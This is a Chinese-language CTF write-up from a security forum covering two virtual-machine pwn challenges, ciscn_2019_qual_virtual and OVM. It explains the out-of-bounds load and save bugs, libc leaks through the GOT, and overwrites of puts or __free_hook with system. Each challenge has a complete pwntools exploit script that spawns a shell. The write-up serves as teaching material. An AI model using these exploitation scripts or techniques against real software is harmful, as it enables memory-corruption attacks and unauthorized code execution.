问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
一些vmpwn的详细总结
CTF
总结一些常见vmpwn题的打法,数据越界泄露libc,通过偏移数据处理来得到危险函数地址等常见漏洞,会结合两道例题来进行讲解
前言 == ctf比赛中的vm逆向不是指VMware或VirtualBox一类的虚拟机,而是一种解释执行系统或者模拟器,近几年出现的频率越来越高了,故总结一下vmpwn中常见的漏洞 ciscn\_2019\_qual\_virtual ========================== 程序保护 ----  发现没开pie和只开了Partial RELRO 程序分析 ----  程序开始先是定义了三个堆分别作为vm的stack text data段 ### init\_seg 逆向出结构体后是这样 ```php struct segment_chunk { char *segment; unsigned int size; int nop; 这个nop后面分析发现 是stack段中的值的个数 }; ``` ### 读入数据并且转移数据  #### 第一个红框   先将值存入ptr所在的堆块 然后在进入move\_func 以' '空格为区分切割存入最开始设置的text段 #### 第二个红框  代码逻辑基本相同,是存放入stack段中 ### vm\_func 这里逆出来功能点是下图这样  有两个关键的函数 #### take\_value  可以看出是把a1->segment中的指取出来给a2 #### set\_value  与take\_value相反 #### 功能点 ```php func_pop(v3_data, a2_stack); func_push(v3_data, a2_stack); func_add(v3_data); func_sub(v3_data); func_x(v3_data); 乘法 func_division(v3_data); 除法 func_load(v3_data); func_save(v3_data); ``` 这里分析一下load和save 其他的可以参考分析得出 #### func\_load(v3\_data);  这里是取出data段中的值为v2,然后把data\[0\]的值设置为data\[v2\]地址所存放的值 #### func\_save(v3\_data);  取两个参数,一个v2,一个v3 并且把data\[v2\]的值存放为v3 漏洞分析 ---- 这里关键点在于load和save这两个功能 load可以进行任意地址读,相当于可以读入data\[num\]的任何数据为data\[0\] save可以进行任意地址写,由于v2和v3都是可控的,因此可以进行任意地址写 ### 攻击思路 由于got表是可以写的,并且我们有任意地址写 因此我们可以通过之前的分析发现,data段的上方就是存放data段的指针  因此我们可以通过save来把指针覆盖为got段的下方一点的位置,然后通过load去取出puts的地址 然后通过add或者sub的功能去增加偏移把puts去修改为system,由于最后有一个puts(s) 是我们可控的 因此就可以getshell exp如下 ----- ```php #!/usr/bin/python3 from pwn import * import random import os import sys import time from pwn import * from ctypes import * #--------------------setting context--------------------- context.clear(arch='amd64', os='linux', log_level='debug') #context.terminal = ['tmux', 'splitw', '-h'] sla = lambda data, content: mx.sendlineafter(data,content) sa = lambda data, content: mx.sendafter(data,content) sl = lambda data: mx.sendline(data) rl = lambda data: mx.recvuntil(data) re = lambda data: mx.recv(data) sa = lambda data, content: mx.sendafter(data,content) inter = lambda: mx.interactive() l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) h64=lambda:u64(mx.recv(6).ljust(8,b'\x00')) s=lambda data: mx.send(data) log_addr=lambda data: log.success("--->"+hex(data)) p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s))) def dbg(): gdb.attach(mx) #--------------------------------------------------------- # libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6') filename = "./ciscn_2019_qual_virtual" mx = process(filename) #mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013) elf = ELF(filename) libc=elf.libc #初始化完成---------------------------------------------------------\ dbg() rl("Your program name:\n") sl(b'/bin/sh\x00') rl("Your instruction:\n") payload=b'push push save push load push add push save' sl(payload) rl("Your stack data:\n") content=b'4210896 -3 -21 -193680 -21' sl(content) inter() ```  OVM === 程序保护 ----  程序分析 ---- ### main  这一部分重点就是给SP PC赋值,然后把code读入memory\[PC+i\]的位置,并且通过检测限制单个字节最大为0xff ### fetch  这里就是取出PC的值 传给memory 方便后面执行execute程序 ### execute ```php v4 = (a1 & 0xF0000u) >> 16; v3 = (unsigned __int16)(a1 & 0xF00) >> 8; v2 = a1 & 0xF; result = HIBYTE(a1); ``` 这里对传入的a1分别进行了几段的处理 处理后分别为v4 v3 v2 HIBYTE(a1); #### add功能: 0x70  #### 异或功能:0xb0  #### 右移操作:0xd0  #### 打印寄存器情况:0xff  #### 左移操作:0xc0  #### 位与操作:0x90  #### 位或操作:0xa0  #### 减法操作:0x80  #### save操作: 0x30  #### push操作:0x50  #### pop操作: 0x60  #### memory内存写入:0x40  给reg\[v4\]赋值 0x10 0x20  ### 功能表一览  漏洞分析 ---- 我们关注到   这两个地方 一个是可以把reg\[v2\]中的值作为memory的索引去读入到reg\[v4\]中,另一个是可以把reg\[v4\]的值读入到memory\[reg\[v2\]\]中,而这里的v2是我们可以控制的,因此就可能导致溢出写,摆在我们面前的目前有两个问题 1.如何去泄露libc的地址 2.程序在开了FULL RELRO的情况应该改写哪里 ### 问题一  可以看到memory 离got表的距离只有0x68换算一下也就是4\*26 我们可以通过 reg\[v4\] = memory\[reg\[v2\]\];这个控制reg\[v2\]为-26 来把got表中的值读入寄存器,这里还有个限制 就是 我们前面分析的赋值的时候限制了大小为0到0xff 因此不能直接赋负值,我们可以通过 寄存器相减来实现这个目标 ```php opcode(0x10,0,0,26) #mov reg[0],26 opcode(0x80,2,1,0) #reg[2]=reg[1]-reg[0] ``` 这样子就实现了通过取负值取出got表的值,而由于got表中的地址是8字节,而我们的寄存器只存储4字节所以我们要存储在两个寄存器中 方便后续进行计算处理 ```php opcode(0x10,0,0,26) #mov reg[0],26 opcode(0x80,2,1,0) #reg[2]=reg[1]-reg[0] opcode(0x30,4,0,2) #mov reg[4],memory[reg[2]] opcode(0x10,0,0,25) #mov reg[0],25 opcode(0x80,2,1,0) #reg[2]=reg[1]-reg[0] opcode(0x30,5,0,2) #mov reg[5],memory[reg[2]] ```  然后后续我们有个打印所有寄存器的功能 就可以把libc的地址泄露出来 ### 问题二 got表是不可以写的,因此我们只能考虑改别的 观察到  这里有个read读入到comment中存放的地址(这个可以通过调试得出来)  这是原地址,而comment存放地址的位置离memory非常的近,因此我们可以通过 memory\[reg\[v2\]\] = reg\[v4\]; 这个去把memory上面的comment覆盖为寄存器的值,和之前读取一样 需要两个4字节 修改后 就可以实现任意地址写了,由于后面有一次free 自然想到改free\_hook   可以看到差距0x10a8我们可以通过寄存器之间加减变化得到,因为直接给寄存器传值收到了0-0xff的限制,所以要达到这个数值的话有两种思路: 1.是通过reg\[13\]或者reg\[15\]作为计算依据 这个是没有受到限制可以直接传入的 2.就是通过多次累加 或者 累减 之类的方式 ### 思路总结 通过读取的功能去把got表中的值读入寄存器中 并且泄露出来,然后通过加减变化stderr的值为\_\_free\_hook-8的值 然后 通过 memory\[reg\[v2\]\] = reg\[v4\]; 传入覆盖comment的值 然后 修改 free\_hook的值为system free\_hook-8的值为/bin/sh\\x00 就可以getshell 动态调试 ---- ### 读取地址:  ### 修改stderr为free\_hook-8  ### 修改comment为free\_hook-8  ### 修改为system  ### getshell  exp --- ```php #!/usr/bin/python3 from pwn import * import random import os import sys import time from pwn import * from ctypes import * #--------------------setting context--------------------- context.clear(arch='amd64', os='linux', log_level='debug') #context.terminal = ['tmux', 'splitw', '-h'] sla = lambda data, content: mx.sendlineafter(data,content) sa = lambda data, content: mx.sendafter(data,content) sl = lambda data: mx.sendline(data) rl = lambda data: mx.recvuntil(data) re = lambda data: mx.recv(data) sa = lambda data, content: mx.sendafter(data,content) inter = lambda: mx.interactive() l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) h64=lambda:u64(mx.recv(6).ljust(8,b'\x00')) s=lambda data: mx.send(data) log_addr=lambda data: log.success("--->"+hex(data)) p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s))) def dbg(): gdb.attach(mx) #--------------------------------------------------------- # libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6') filename = "./OVM" mx = process(filename) #mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013) elf = ELF(filename) libc=elf.libc #初始化完成---------------------------------------------------------\ def opcode(op,high,medium,low): content=(op<<24)+(high<<16)+(medium<<8)+(low) sl(str(content)) dbg() rl("PCPC: ") sl(str(0x1111)) rl("SP: ") sl(str(0x10a0)) rl("CODE SIZE: ") sl(str(14)) rl("CODE: ") #0FB7 opcode(0x10, 0, 0, 26) opcode(0x80, 2, 1, 0) opcode(0x30, 4, 0, 2) opcode(0x10, 0, 0, 25) opcode(0x80, 2, 1, 0) opcode(0x30, 5, 0, 2) opcode(0x70, 4, 4, 13) #-------------------------- opcode(0x10, 0, 0, 8) opcode(0x80, 2, 1, 0) #-------------------------- opcode(0x40, 4, 0, 2) opcode(0x10, 0, 0, 7) opcode(0x80, 2, 1, 0) #-------------------------- opcode(0x40, 5, 0, 2) opcode(0xff, 0, 0, 0) rl("R4: ") libc_addr1=int(mx.recv(8),16) rl("R5: ") libc_addr2=int(mx.recv(4),16) print(hex(libc_addr1)) print(hex(libc_addr2)) libc_addr = (libc_addr2 << 32) + libc_addr1 print(hex(libc_addr)) #0F48=m system=libc_addr-0x39e4a0 rl("HOW DO YOU FEEL AT OVM?") s(b'/bin/sh\x00'+p64(system)) inter() ``` 总结 == 像上面这种VMpwn的题目,关键功能点就是分配了栈 text data段 然后模拟pop push mov lea等功能,这种更多的是难在逆向 把功能点都一个个弄清楚之后 找到漏洞其实并不难,无非就是数据越界等常见漏洞,而我们通过两道题目发现 其实很多功能点是在我们的漏洞利用中每起到作用中,因此比赛的时候遇到类似这种题 就只需要重点去看涉及到栈 data等的指令 pop push lea类似的这种 便于快速锁定漏洞 拿到flag.
发表于 2024-12-30 10:00:01
阅读 ( 839 )
分类:
二进制
1 推荐
收藏
0 条评论
请先
登录
后评论
sn1w
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!